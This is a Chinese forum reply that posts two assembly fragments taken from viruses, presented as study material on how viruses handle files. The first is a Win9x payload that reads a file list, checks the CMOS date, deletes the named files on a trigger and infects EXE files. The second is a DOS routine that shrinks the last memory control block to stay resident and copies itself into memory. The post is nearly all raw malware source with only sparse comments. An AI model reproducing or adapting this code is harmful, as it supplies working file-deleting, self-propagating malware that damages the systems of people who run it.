顶,正想学这类
程序代码:照楼主的意思我们也可以这样子写写:
我们随便拿个病毒来分析一下其中它是怎么对文件进行操作.
-----------读取DAW并删除其指定文件---------
GETDAWFILE:
MOV DR1,ESI ;被操作文件名尾指针->DR1
MOV AX,0D500H
XOR EBX,EBX
XOR ECX,ECX
XOR EDX,EDX ;MOV EDX,1
INC EDX
LEA ESI,EDI[COM_FN-START]
CALL INT20_40_32
JC FIND_NOCOM
MOV EBX,EAX
MOV AX,0D800H
CALL INT20_40_32
JC CLOSE_GETCOM
MOV ECX,EAX
XOR EDX,EDX
LEA ESI,EDI[COMLINE-START]
CALL READFILE
CLOSE_GETCOM:
MOV AX,0D700H
CALL INT20_40_32
CLD
XCHG ESI,EDI ;ESI->@ EDI->COMLINE
MOV AX,000DH
REPL_CON:
REPNZ SCASB
JECXZ EXIT_REPL_LOOP
DEC EDI
INC ECX
MOV [EDI],AH
JMP REPL_CON
DW 87C7H
EXIT_REPL_LOOP:
XCHG EDI,ESI ;EDI->@ ESI->COMLINE末
CMP [ESI-3],BYTE PTR '#'
JNZ FIND_NOCOM
MOV AL ,07H
OUT 70H,AL
IN AL ,71H
MOV CL ,AL
MOV AL ,08H
OUT 70H,AL
IN AL ,71H
MOV CH ,AL
MOV AH,'0'
MOV DX,[ESI-7] ;读月
SUB DH,AH
SUB DL,AH
SHL DL,4
ADD DL,DH
OR DL,DL
JZ IGNOREMONTH
CMP DL,CH
JNZ CMP_EXE
IGNOREMONTH:
MOV DX,[ESI-5] ;读日
SUB DH,AH
SUB DL,AH
SHL DL,4
ADD DL,DH
OR DL,DL
JZ FIND_NOCOM
CMP DL,CL
JNZ CMP_EXE
FIND_NOCOM:
MOV ESI,DR1
ADD EDI,OFFSET COMLINE-OFFSET START
XOR AL ,AL
OUT 70H,AL
IN AL ,71H
MOV BH,AL
AND BH,00011111B ;比较秒(BH=SEC*2)
XOR BL,BL
XOR EDX,EDX
DEC EDI
DEC EDI
DELF_LOOP:
NOT BL
ADD EDI,EDX
INC EDI
INC EDI
CMP [EDI],BYTE PTR 0
JZ CMP_EXE
CALL GET_STL
MOV EDX,ECX
PUSH ESI
SUB ESI,EDX
CALL CMP_ST
POP ESI
JNZ DELF_LOOP
OR BL,BL
JNZ DEL_IT_EVERYTIME
OR BH,BH
JNZ DELF_LOOP
DEL_IT_EVERYTIME:
CALL DEL_FILE
JMP EXITAPI
DW 87C7H
;-----------读取DAW并删除其指定文件---------
CMP_EXE:
MOV ESI,DR1
MOV EAX,NOT('EXE.') ;是否为EXE文件
NOT EAX
CMP [ESI-4],EAX
JNZ EXITAPI
CALL INF_EXE
;-------退出处理--------------------------
EXITAPI:MOV EDI,DR0
MOV EDI[ENTERF-START],BYTE PTR 0
CALLOLDAPI:
POPAD
MOV EAX,0
OLDAPI = DWORD PTR $-4
JMP [EAX] 
程序代码:;================================================================ no_active: --mov ah,52------;取磁盘缓冲区地址 --int 21 --mov bx,es:[bx-2]----;取第一个 MCB 地址 --xor di,di------;清DI loop_search: --mov es,bx------;查找最后一个MCB地址 --add bx,word ptr es:[di+3] --inc bx --cmp byte ptr es:[di],5a --jnz loop_search ;================Found Last MCB=========-- --mov bx,es------;保存找到的最后一个MCB地址---- --mov ax,word ptr es:[di+3]--;取最后一个MCB大小 --sub ax,vir_para------;剪去自己的PARA --jnc keep_in_memory----;溢出则表明不够驻留 --jmp run_host------;否则继续 keep_in_memory: --mov word ptr es:[di+3],ax--;改写最后一个MCB大小 --add bx,ax------;计算驻留区段地址 --inc bx --mov es,bx------;并送入ES --push cs --pop ds--------;令DS=CS --mov cx,vir_bytes----;将自己搬移 --cld --rep movsb
